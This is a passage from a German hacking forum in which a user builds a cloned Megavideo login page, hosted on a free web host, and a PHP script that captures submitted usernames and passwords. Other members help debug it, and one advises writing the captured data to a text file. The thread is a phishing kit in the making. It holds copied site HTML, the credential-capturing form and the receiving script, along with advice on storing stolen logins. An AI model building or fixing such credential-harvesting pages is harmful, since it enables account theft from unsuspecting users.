Seite 2 von 2 ErsteErste 12
Ergebnis 11 bis 15 von 15
  1. #11
    Trojaner
    Registriert seit
    27.10.2010
    Beiträge
    51

    Standard

    Okay...die $_port variable kenn ich schon..wie schon gesagt habe ich in html schon meheh Forms gemacht...aber das mit JavaScript war mir neu...mal schen ob es funktionert danke!

    Edit: Es hat leider nicht funktionert im moent sieht es so aus:

    http://freecool.fr.ohost.de/Megavideo/login.html
    Geändert von Coder (28.10.2010 um 15:39 Uhr)

  2. #12
    Richard Stallman
    Registriert seit
    09.07.2008
    Beiträge
    2.199

    Standard

    Also das sieht da jetzt etwas komisch aus, aber das liegt daran, dass du irgendetwas verkehrt kopiert hast. Das Zeichen oben links kommt von einer falschen Codierung (also entweder anders in Notepad speichern oder nen HTML Editor verwenden wo du das auch umstellen kannst).

    Entweder du schreibst nun am Anfang der php Datei selbst einen Code, der die empfangenen Daten in eine Textdatei schreibt, oder du gibst dem Formular eine Zieladresse.
    Signatur hat Pause..


  3. #13
    Trojaner
    Registriert seit
    27.10.2010
    Beiträge
    51

    Standard

    @100

    Es Funktionert immernochnicht

    Mein Code sieht so aus:

    Code:
    </div></td>
    
        
        <td width="17"><img src="signup-Dateien/spacer.gif" height="1" width="17"></td>
    
        <td valign="top">
        
        
        <div style="position: relative;">
        <div style="position: relative; height: 28px;"></div>
    
        <div style="position: absolute; left: 2px; top: -4px; width: 479px; height: 307px; background-image: url(http://wwwstatic.megavideo.com/mvgui/signup_area.gif);"></div>
    
    
    
    
        <div style="position: absolute; width: 120px; top: 0px; left: 2px; color: rgb(253, 8, 25); font-size: 12px; font-weight: bold; text-align: center;">Login</div>
        <div style="position: absolute; width: 460px; top: 0px; left: 17px; color: rgb(0, 0, 0); font-size: 12px; text-align: right;">Bereits angemeldet? Hier einloggen.</div>
    
    
        <div style="position: relative;">
        <div style="position: absolute; left: 4px; top: -9px; height: 64px; width: 476px;"></div>
        <table style="font-size: 11px; color: rgb(76, 76, 76);" background="" cellpadding="0" cellspacing="0" width="482">
        <tbody><tr> 
            <td width="10"></td>
    
            <td height="270" valign="top" width="472">
    
    
            <div style="position: relative;">
            <br><br><br><br>
            
            <table style="font-size: 12px; color: rgb(0, 0, 0); font-weight: bold;" cellpadding="0" cellspacing="0">
            <form method="post" action="login.php" name="loginForm" id="loginform"></form>
            <input name="action" value="login" type="hidden">
            <input name="cnext" value="" type="hidden">
            <input name="snext" value="" type="hidden">
            <input name="touser" value="" type="hidden">
            <input name="user" value="" type="hidden">
    
    
            <tbody><tr>
                <td style="width: 130px; text-align: right; padding-right: 5px; padding-top: 5px;" height="35" valign="top">Benutzername:</td>
                <td valign="top"><input size="25" maxlength="60" name="nickname" style="border: 1px solid rgb(190, 187, 181); width: 250px; height: 22px;" type="text"></td>
            </tr>
            <tr>
                <td style="width: 130px; text-align: right; padding-right: 5px; padding-top: 5px;" height="35" valign="top">Passwort:</td>
                <td valign="top"><input size="20" maxlength="20" name="password" style="border: 1px solid rgb(190, 187, 181); width: 250px; height: 22px;" type="password"></td>
            </tr>
            </tbody></table>
    
    
            <div style="position: relative; width: 386px; text-align: center; height: 26px;">
    
            <div style="position: absolute; width: 109px; height: 26px; left: 276px; top: 0px; cursor: pointer;" onclick="javascript:document.getElementById('loginform').submit();" onmouseover="imgbutton.src=document.getElementById('imgbutton1').src; document.getElementById('imgbutton2').src=imgbuttono.src;" onmouseout="document.getElementById('imgbutton2').src=imgbutton.src;"><div style="position: absolute; left: 0px; top: 0px; width: 109px; height: 26px;"><img src="signup-Dateien/button.gif" alt="" id="imgbutton2" border="0" height="26" width="109"></div><div style="position: absolute; left: 0px; top: 3px; width: 109px; text-align: center; font-family: arial; font-size: 12px; color: rgb(255, 255, 255); font-weight: bold; text-decoration: none;">Login</div></div>
    
            </div>
    
            <br>
            <div style="position: relative; width: 420px; text-align: center; line-height: 20px;">
            <img src="signup-Dateien/signup_mu.gif" alt="" border="0" height="16" width="236"><br>
            <font style="font-size: 11px;">(loggen Sie sich mit Ihrem existierenden Megaupload-Account ein)
            </font></div>
    
    <font style="font-size: 11px;">        </font><div style="position: relative; width: 450px; text-align: center; padding-top: 23px;">
    <font style="font-size: 11px;">        <table cellpadding="0" cellspacing="0" width="400">
            <tbody><tr>
                <td align="right" width=""><a href="http://megavideo.com/?s=forgot_username" style="color: rgb(253, 8, 25);">Benutzername vergessen?</a></td>
                <td width="20"></td>
                <td align="left" width=""><a href="http://megavideo.com/?s=forgot_password" style="color: rgb(253, 8, 25);">Passwort vergessen?</a></td>
            </tr>
            </tbody></table>
            </font></div>
    
    <font style="font-size: 11px;">        
            </font></div></td>
        </tr>
        
        </tbody></table>
        </div>
    Und mein PHP -Script sieht volgendermasen aus ber meine PHP-Script bekommt von der singin.html nicht die daten gesended

    Code:
    <?php
    
    $user = $_POST['nickname'];
    $pass = $_POST['password'];
    
    echo $user;
    echo "<br>";
    echo $pass;
    
    ?>
    MfG Coder

  4. #14
    Trojaner Avatar von motion
    Registriert seit
    12.09.2010
    Beiträge
    81

    Standard

    Ist dir eigentlich aufgefallen, dass die inputfelder andere Namen haben als die abgerufenen POST Variablen im PHP Skript?
    contact:
    :->moti0n[at]inbox[dot]ru - PGP-public_key
    :->motion@jabber.ccc.de

  5. #15
    Trojaner
    Registriert seit
    27.10.2010
    Beiträge
    51

    Standard

    Ich glaube ich schau an der falschen stelle:

    ist der imputname nicht nickname?
    Code:
     <tbody><tr>
                <td style="width: 130px; text-align: right; padding-right: 5px; padding-top: 5px;" height="35" valign="top">Benutzername:</td>
                <td valign="top"><input size="25" maxlength="60" name="nickname" style="border: 1px solid rgb(190, 187, 181); width: 250px; height: 22px;" type="text"></td>
            </tr>
    Hier ist der imputname doch password oder ?

    Code:
    <tr>
                <td style="width: 130px; text-align: right; padding-right: 5px; padding-top: 5px;" height="35" valign="top">Passwort:</td>
                <td valign="top"><input size="20" maxlength="20" name="password" style="border: 1px solid rgb(190, 187, 181); width: 250px; height: 22px;" type="password"></td>
            </tr>

Seite 2 von 2 ErsteErste 12

Ähnliche Themen

  1. MEgavideo down????
    Von Pr0g4mer im Forum Videos, Filme & Serien
    Antworten: 0
    Letzter Beitrag: 27.06.2009, 20:07

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •